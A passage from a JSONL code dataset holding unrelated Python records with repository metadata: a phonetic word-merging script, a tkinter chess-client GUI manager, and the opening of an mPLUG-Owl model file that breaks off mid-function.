{"api_name": "models.users.Db", "line_number": 100, "usage_type": "name"}, {"api_name": "models.users.User", "line_number": 100, "usage_type": "call"}, {"api_name": "models.users.Db.session.commit", "line_number": 101, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 101, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 101, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 102, "usage_type": "call"}, {"api_name": "modules.updateform.UpdateForm", "line_number": 106, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 113, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 114, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 114, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 115, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 115, "usage_type": "name"}, {"api_name": "models.users.User.query.filter_by", "line_number": 116, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 116, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 116, "usage_type": "name"}, {"api_name": "models.users.Db.session.commit", "line_number": 119, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 119, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 119, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 120, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 120, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 122, "usage_type": "call"}, {"api_name": "models.users.User.query.filter_by", "line_number": 126, "usage_type": "call"}, {"api_name": "models.users.User.query", "line_number": 126, "usage_type": "attribute"}, {"api_name": "models.users.User", "line_number": 126, "usage_type": "name"}, {"api_name": "models.users.Db.session.commit", "line_number": 129, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 129, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 129, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 130, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 130, "usage_type": "call"}, {"api_name": "modules.randomform.RandomForm", "line_number": 134, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 136, "usage_type": "attribute"}, {"api_name": "flask.request.method", "line_number": 138, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 138, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 139, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 143, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 143, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 145, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 147, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 148, "usage_type": "call"}, {"api_name": "models.users.Db.session.add", "line_number": 149, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 149, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 149, "usage_type": "name"}, {"api_name": "models.users.Db.session.commit", "line_number": 150, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 150, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 150, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 153, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 157, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 157, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 159, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 161, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 162, "usage_type": "call"}, {"api_name": "models.users.Db.session.add", "line_number": 163, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 163, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 163, "usage_type": "name"}, {"api_name": "models.users.Db.session.commit", "line_number": 164, "usage_type": "call"}, {"api_name": "models.users.Db.session", "line_number": 164, "usage_type": "attribute"}, {"api_name": "models.users.Db", "line_number": 164, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 165, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 165, "usage_type": "call"}]} +{"seq_id": "38870739418", "text": "import json\r\n\r\nwith open('FinalResult2.json', 'r', encoding='utf-8') as f:\r\n WordResult = json.load(f)\r\n\r\nwith open('FinalWordList2.json', 'r', encoding='utf-8') as f:\r\n WordList = json.load(f)\r\n\r\nresult = {}\r\nwords = WordList.keys()\r\nfor word in words:\r\n contents = WordList[word]\r\n tempResult = []\r\n breakstamp = 0\r\n for result_element in contents:\r\n try:\r\n tempResult.extend(WordResult[result_element])\r\n except Exception as e:\r\n print(e)\r\n breakstamp = 1\r\n break\r\n if breakstamp:\r\n continue\r\n saveIdent = []\r\n saveStamp = 0\r\n for index in range(len(tempResult)):\r\n if len(tempResult) != 1:\r\n if tempResult[index]['sound'] == tempResult[(index + 1) % (len(tempResult))]['sound'] or tempResult[index][\r\n 'phonetic'] is None:\r\n for saveIdent_element in saveIdent:\r\n if index - 1 in saveIdent_element:\r\n saveIdent_element.append(index)\r\n saveStamp = 1\r\n if saveStamp == 0:\r\n saveIdent.append([index])\r\n else:\r\n saveIdent.append([index])\r\n else:\r\n saveIdent.append([index])\r\n mergeResult = []\r\n for saveident in saveIdent:\r\n newtags = []\r\n for index in saveident:\r\n for tag_element in tempResult[index]['tag']:\r\n if tag_element not in newtags:\r\n newtags.append(tag_element)\r\n temp = {'tag': newtags, 'phonetic': tempResult[saveident[0]]['phonetic'],\r\n 'sound': tempResult[saveident[0]]['sound'], 'syllable': tempResult[saveident[0]]['syllable']}\r\n mergeResult.append(temp)\r\n result[word] = mergeResult\r\n\r\nwith open('MergeResult.json', 'w', encoding='utf-8') as f:\r\n json.dump(result, f)\r\n", "repo_name": "Lv996331209/Lettersound", "sub_path": "12.2/MergeSimilar.py", "file_name": "MergeSimilar.py", "file_ext": "py", "file_size_in_byte": 1873, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.load", "line_number": 4, "usage_type": "call"}, {"api_name": "json.load", "line_number": 7, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 53, "usage_type": "call"}]} +{"seq_id": "30822727474", "text": "import json\nimport os\nfrom queue import Queue\n\nimport tkinter as tk\nfrom PIL import ImageTk, Image\n\nfrom client.connection.game_room_service import GameRoomService\nfrom client.gui.game.private_game_view import PrivateGameView\nfrom client.gui.game.ranked_game_view import RankedGameView\nfrom client.gui.menu.join_private_view import JoinPrivateView\nfrom client.gui.menu.join_ranked_view import JoinRankedView\nfrom client.gui.menu.player_component import PlayerComponent\nfrom client.gui.menu.start_view import StartView\nfrom client.gui.shared import DisplayBoundary\nfrom client.gui.view import ViewName\nfrom client.connection.auth_service import AuthService\nfrom client.gui.auth.sign_in_view import SignInView\nfrom client.gui.auth.sign_up_view import SignUpView\nfrom shared.message.message_code import MessageCode\n\n\nclass GuiManager:\n def __init__(self, auth_service: AuthService, game_room_service: GameRoomService):\n self.auth_service = auth_service\n self._messages: Queue[str] = Queue()\n self.root = tk.Tk()\n\n self.root.attributes(\"-fullscreen\", True)\n self.root.geometry(f\"{self.root.winfo_screenwidth()}x{self.root.winfo_screenheight()}\")\n\n self.root.resizable(False, False)\n self.root.title(\"Chess Online\")\n screen_width = self.root.winfo_vrootwidth()\n screen_height = self.root.winfo_vrootheight()\n\n screen_ratio = screen_width / screen_height\n target_ratio = 16 / 9\n\n width = screen_width\n height = screen_height\n if screen_ratio - target_ratio > 0.05:\n width = round(16 / 9 * screen_height)\n elif screen_ratio - target_ratio < -0.05:\n height = round(9 / 16 * screen_width)\n\n x = round((screen_width - width) / 2)\n y = round((screen_height - height) / 2)\n\n display = DisplayBoundary(x, y, width, height)\n\n img = Image.open(os.path.join(os.getcwd(), \"client/img/bg.jpg\"))\n img = img.resize((screen_width, screen_height), Image.ANTIALIAS)\n self.bg_img = ImageTk.PhotoImage(img)\n\n player_component = PlayerComponent(self.root, display, auth_service)\n\n self.views = {\n ViewName.SIGN_IN: SignInView(self.root, display, self.navigate, auth_service, player_component),\n ViewName.SIGN_UP: SignUpView(self.root, display, self.navigate, auth_service, player_component),\n ViewName.START: StartView(self.root, display, self.navigate, auth_service, player_component),\n ViewName.JOIN_RANKED: JoinRankedView(self.root, display, self.navigate, auth_service, player_component,\n game_room_service),\n ViewName.JOIN_PRIVATE: JoinPrivateView(self.root, display, self.navigate, auth_service, player_component,\n game_room_service),\n ViewName.RANKED_GAME: RankedGameView(self.root, display, self.navigate, auth_service, game_room_service),\n ViewName.PRIVATE_GAME: PrivateGameView(self.root, display, self.navigate, auth_service, game_room_service)\n }\n\n self.bg = tk.Label(self.root, image=self.bg_img)\n self.bg.place(x=0, y=0, relwidth=1, relheight=1)\n\n self.current_view = self.views[ViewName.SIGN_IN]\n self.current_view.show()\n\n self.root.bind(\"<>\", self._on_message)\n\n def start(self):\n self.root.mainloop()\n\n def notify_message(self, message: str):\n self._messages.put(message)\n self.root.event_generate(\"<>\")\n\n def navigate(self, view: ViewName):\n self.bg.tkraise()\n self.views[view].show()\n self.current_view.reset()\n self.current_view = self.views[view]\n\n def _on_message(self, event):\n message = json.loads(self._messages.get())\n code: int = message[\"code\"]\n\n if code == MessageCode.SIGN_UP.value:\n self.views[ViewName.SIGN_UP].on_sign_up(message)\n elif code == MessageCode.SIGN_IN.value:\n self.views[ViewName.SIGN_IN].on_sign_in(message)\n elif code == MessageCode.JOIN_RANKED_QUEUE.value:\n self.views[ViewName.JOIN_RANKED].on_join_ranked_queue()\n elif code == MessageCode.JOINED_RANKED_ROOM.value:\n self.views[ViewName.JOIN_RANKED].on_joined_ranked_room(message)\n elif code == MessageCode.CANCEL_JOINING_RANKED.value:\n self.views[ViewName.JOIN_RANKED].on_cancel_joining_ranked()\n elif code == MessageCode.CREATE_PRIVATE_ROOM.value:\n self.views[ViewName.JOIN_PRIVATE].on_create_private_room(message)\n elif code == MessageCode.JOIN_PRIVATE_ROOM.value:\n self.views[ViewName.JOIN_PRIVATE].on_join_by_access_key(message)\n elif code == MessageCode.GUEST_JOINED_PRIVATE_ROOM.value:\n self.views[ViewName.PRIVATE_GAME].on_guest_joined_private_room(message)\n elif code == MessageCode.LEAVE_PRIVATE_ROOM.value:\n self.views[ViewName.PRIVATE_GAME].on_leave_private_room(message)\n elif code == MessageCode.KICK_FROM_PRIVATE_ROOM.value:\n self.views[ViewName.PRIVATE_GAME].on_kick_from_private_room()\n elif code == MessageCode.START_PRIVATE_GAME.value:\n self.views[ViewName.PRIVATE_GAME].on_start_private_game(message)\n elif code == MessageCode.GAME_SURRENDER.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_game_surrender(message)\n else:\n self.views[ViewName.RANKED_GAME].on_game_surrender(message)\n elif code == MessageCode.GAME_OFFER_DRAW.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_game_offer_draw(message)\n else:\n self.views[ViewName.RANKED_GAME].on_game_offer_draw(message)\n elif code == MessageCode.GAME_RESPOND_TO_DRAW_OFFER.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_game_respond_to_draw_offer(message)\n else:\n self.views[ViewName.RANKED_GAME].on_game_respond_to_draw_offer(message)\n elif code == MessageCode.GAME_CLAIM_DRAW.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_game_claim_draw()\n else:\n self.views[ViewName.RANKED_GAME].on_game_claim_draw()\n elif code == MessageCode.GAME_MOVE.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_game_move(message)\n else:\n self.views[ViewName.RANKED_GAME].on_game_move(message)\n elif code == MessageCode.GAME_TIME_END.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_game_time_end()\n else:\n self.views[ViewName.RANKED_GAME].on_game_time_end()\n elif code == MessageCode.PLAYER_DISCONNECTED.value:\n if self.current_view is self.views[ViewName.PRIVATE_GAME]:\n self.views[ViewName.PRIVATE_GAME].on_player_disconnected(message)\n else:\n self.views[ViewName.RANKED_GAME].on_player_disconnected(message)\n", "repo_name": "MaksymilianK/chess-online", "sub_path": "client/gui/gui_manager.py", "file_name": "gui_manager.py", "file_ext": "py", "file_size_in_byte": 7378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "client.connection.auth_service.AuthService", "line_number": 24, "usage_type": "name"}, {"api_name": "client.connection.game_room_service.GameRoomService", "line_number": 24, "usage_type": "name"}, {"api_name": "queue.Queue", "line_number": 26, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 27, "usage_type": "call"}, {"api_name": "client.gui.shared.DisplayBoundary", "line_number": 50, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 52, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 52, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 52, "usage_type": "call"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 53, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 53, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 54, "usage_type": "name"}, {"api_name": "client.gui.menu.player_component.PlayerComponent", "line_number": 56, "usage_type": "call"}, {"api_name": "client.gui.view.ViewName.SIGN_IN", "line_number": 59, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 59, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.SIGN_UP", "line_number": 60, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 60, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.START", "line_number": 61, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 61, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_RANKED", "line_number": 62, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 62, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_PRIVATE", "line_number": 64, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 64, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 66, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 66, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 67, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 67, "usage_type": "name"}, {"api_name": "client.gui.auth.sign_in_view.SignInView", "line_number": 59, "usage_type": "call"}, {"api_name": "client.gui.auth.sign_up_view.SignUpView", "line_number": 60, "usage_type": "call"}, {"api_name": "client.gui.menu.start_view.StartView", "line_number": 61, "usage_type": "call"}, {"api_name": "client.gui.menu.join_ranked_view.JoinRankedView", "line_number": 62, "usage_type": "call"}, {"api_name": "client.gui.menu.join_private_view.JoinPrivateView", "line_number": 64, "usage_type": "call"}, {"api_name": "client.gui.game.ranked_game_view.RankedGameView", "line_number": 66, "usage_type": "call"}, {"api_name": "client.gui.game.private_game_view.PrivateGameView", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 70, "usage_type": "call"}, {"api_name": "client.gui.view.ViewName.SIGN_IN", "line_number": 73, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 73, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName", "line_number": 85, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 92, "usage_type": "call"}, {"api_name": "shared.message.message_code.MessageCode.SIGN_UP", "line_number": 95, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 95, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.SIGN_UP", "line_number": 96, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 96, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.SIGN_IN", "line_number": 97, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 97, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.SIGN_IN", "line_number": 98, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 98, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.JOIN_RANKED_QUEUE", "line_number": 99, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 99, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_RANKED", "line_number": 100, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 100, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.JOINED_RANKED_ROOM", "line_number": 101, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 101, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_RANKED", "line_number": 102, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 102, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.CANCEL_JOINING_RANKED", "line_number": 103, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 103, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_RANKED", "line_number": 104, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 104, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.CREATE_PRIVATE_ROOM", "line_number": 105, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 105, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_PRIVATE", "line_number": 106, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 106, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.JOIN_PRIVATE_ROOM", "line_number": 107, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 107, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.JOIN_PRIVATE", "line_number": 108, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 108, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GUEST_JOINED_PRIVATE_ROOM", "line_number": 109, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 109, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 110, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 110, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.LEAVE_PRIVATE_ROOM", "line_number": 111, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 111, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 112, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 112, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.KICK_FROM_PRIVATE_ROOM", "line_number": 113, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 113, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 114, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 114, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.START_PRIVATE_GAME", "line_number": 115, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 115, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 116, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 116, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GAME_SURRENDER", "line_number": 117, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 117, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 118, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 118, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 119, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 119, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 121, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 121, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GAME_OFFER_DRAW", "line_number": 122, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 122, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 123, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 123, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 124, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 124, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 126, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 126, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GAME_RESPOND_TO_DRAW_OFFER", "line_number": 127, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 127, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 128, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 128, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 129, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 129, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 131, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 131, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GAME_CLAIM_DRAW", "line_number": 132, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 132, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 133, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 133, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 134, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 134, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 136, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 136, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GAME_MOVE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 137, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 138, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 138, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 139, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 139, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 141, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 141, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.GAME_TIME_END", "line_number": 142, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 142, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 143, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 143, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 144, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 144, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 146, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 146, "usage_type": "name"}, {"api_name": "shared.message.message_code.MessageCode.PLAYER_DISCONNECTED", "line_number": 147, "usage_type": "attribute"}, {"api_name": "shared.message.message_code.MessageCode", "line_number": 147, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 148, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 148, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.PRIVATE_GAME", "line_number": 149, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 149, "usage_type": "name"}, {"api_name": "client.gui.view.ViewName.RANKED_GAME", "line_number": 151, "usage_type": "attribute"}, {"api_name": "client.gui.view.ViewName", "line_number": 151, "usage_type": "name"}]} +{"seq_id": "22861470728", "text": "import copy\nimport logging\nimport math\nimport os\nimport os.path as osp\nimport random\nfrom dataclasses import dataclass\nfrom io import BytesIO\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.checkpoint\nimport transformers\nfrom torch.nn import CrossEntropyLoss\nfrom transformers.activations import ACT2FN\nfrom transformers.modeling_outputs import (\n BaseModelOutput, BaseModelOutputWithPastAndCrossAttentions,\n BaseModelOutputWithPooling, BaseModelOutputWithPoolingAndCrossAttentions,\n CausalLMOutputWithCrossAttentions)\nfrom transformers.modeling_utils import (PreTrainedModel,\n apply_chunking_to_forward,\n find_pruneable_heads_and_indices,\n prune_linear_layer)\nfrom transformers.models.auto import AutoModelForCausalLM\nfrom transformers.utils import ModelOutput\n\nfrom modelscope.metainfo import Models\nfrom modelscope.models import TorchModel\nfrom modelscope.models.base import Tensor\nfrom modelscope.models.builder import MODELS\nfrom modelscope.models.multi_modal.mplug_owl.configuration_mplug_owl import (\n MplugOwlConfig, MplugOwlVisionConfig, MplugOwlVisualAbstractorConfig)\nfrom modelscope.outputs import OutputKeys\nfrom modelscope.utils.config import Config\nfrom modelscope.utils.constant import ModelFile, Tasks\n\n__all__ = ['MplugOwlForConditionalGeneration']\n\n\n@dataclass\nclass MplugOwlForConditionalGenerationModelOutput(ModelOutput):\n \"\"\"\n Class defining the outputs of [`MPlugOwlForConditionalGeneration`].\n\n Args:\n loss (`torch.FloatTensor`, *optional*, returned when `labels` is provided, `torch.FloatTensor` of shape `(1,)`):\n Language modeling loss from the language model.\n logits (`torch.FloatTensor` of shape `(batch_size, sequence_length, config.vocab_size)`):\n Prediction scores of the language modeling head of the language model.\n vision_outputs (`BaseModelOutputWithPooling`):\n Outputs of the vision encoder.\n\n language_model_outputs (`CausalLMOutputWithPast`):\n Outputs of the language model.\n \"\"\"\n\n loss: Optional[Tuple[torch.FloatTensor]] = None\n logits: Optional[Tuple[torch.FloatTensor]] = None\n vision_outputs: Optional[torch.FloatTensor] = None\n language_model_outputs: Optional[Tuple[torch.FloatTensor]] = None\n\n def to_tuple(self) -> Tuple[Any]:\n return tuple(\n self[k] if k not in ['vision_outputs', 'language_model_outputs'\n ] else getattr(self, k).to_tuple()\n for k in self.keys())\n\n\n# Hack for bloomz\ndef bloom_forward(\n self,\n input_ids: Optional[torch.LongTensor] = None,\n past_key_values: Optional[Tuple[Tuple[torch.Tensor, torch.Tensor],\n ...]] = None,\n attention_mask: Optional[torch.Tensor] = None,\n head_mask: Optional[torch.LongTensor] = None,\n inputs_embeds: Optional[torch.LongTensor] = None,\n use_cache: Optional[bool] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n **deprecated_arguments,\n) -> Union[Tuple[torch.Tensor, ...],\n BaseModelOutputWithPastAndCrossAttentions]:\n if len(deprecated_arguments) > 0:\n raise ValueError(f'Got unexpected arguments: {deprecated_arguments}')\n\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else\n self.config.output_hidden_states)\n use_cache = use_cache if use_cache is not None else self.config.use_cache\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if input_ids is not None and inputs_embeds is not None:\n raise ValueError(\n 'You cannot specify both input_ids and inputs_embeds at the same time'\n )\n elif input_ids is not None:\n batch_size, seq_length = input_ids.shape\n elif inputs_embeds is not None:\n batch_size, seq_length, _ = inputs_embeds.shape\n else:\n raise ValueError(\n 'You have to specify either input_ids or inputs_embeds')\n\n if past_key_values is None:\n past_key_values = tuple([None] * len(self.h))\n\n # Prepare head mask if needed\n # 1.0 in head_mask indicate we keep the head\n # attention_probs has shape batch_size x num_heads x N x N\n # head_mask has shape n_layer x batch x num_heads x N x N\n head_mask = self.get_head_mask(head_mask, self.config.n_layer)\n\n if inputs_embeds is None:\n inputs_embeds = self.word_embeddings(input_ids)\n inputs_embeds = self.word_embeddings_layernorm(inputs_embeds)\n\n hidden_states = inputs_embeds\n\n presents = () if use_cache else None\n all_self_attentions = () if output_attentions else None\n all_hidden_states = () if output_hidden_states else None\n\n # Compute alibi tensor: check build_alibi_tensor documentation\n 